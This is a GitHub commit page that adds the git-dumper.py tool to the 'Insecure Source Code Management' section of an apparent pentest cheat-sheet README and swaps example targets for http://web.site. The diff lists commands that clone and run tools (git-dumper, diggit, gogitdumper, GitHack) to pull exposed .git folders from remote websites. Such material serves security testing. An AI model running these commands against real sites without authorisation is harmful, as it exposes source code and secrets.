Skip to content

Commit

Permalink
Merge pull request swisskyrepo#334 from lanjelot/git-dumper
Browse files Browse the repository at this point in the history
New tool git-dumper.py
  • Loading branch information
swisskyrepo authored Feb 3, 2021
2 parents 6bcd2e8 + 34dff94 commit 495a1f3
Showing 1 changed file with 13 additions and 3 deletions.
16 changes: 13 additions & 3 deletions Insecure Source Code Management/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
- [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
+ [Tools](#tools)
- [Automatic recovery](#automatic-recovery)
* [git-dumper.py](#git-dumperpy)
* [diggit.py](#diggitpy)
* [GoGitDumper](#gogitdumper)
* [rip-git](#rip-git)
Expand Down Expand Up @@ -117,11 +118,20 @@ sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141

#### Automatic recovery

##### git-dumper.py

```powershell
git clone https://github.com/arthaud/git-dumper
pip install -r requirements.txt
./git-dumper.py http://web.site/.git ~/website
```

##### diggit.py

```powershell
git clone https://github.com/bl4de/security-tools/ && cd security-tools/diggit
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
Expand All @@ -132,7 +142,7 @@ sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141

```powershell
go get github.com/c-sto/gogitdumper
gogitdumper -u http://urlhere.com/.git/ -o yourdecideddir/.git/
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
git log
git checkout
```
Expand All @@ -156,7 +166,7 @@ git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2

```powershell
git clone https://github.com/lijiejie/GitHack
GitHack.py http://www.openssl.org/.git/
GitHack.py http://web.site/.git/
```

##### GitTools
Expand Down

0 comments on commit 495a1f3

Please sign in to comment.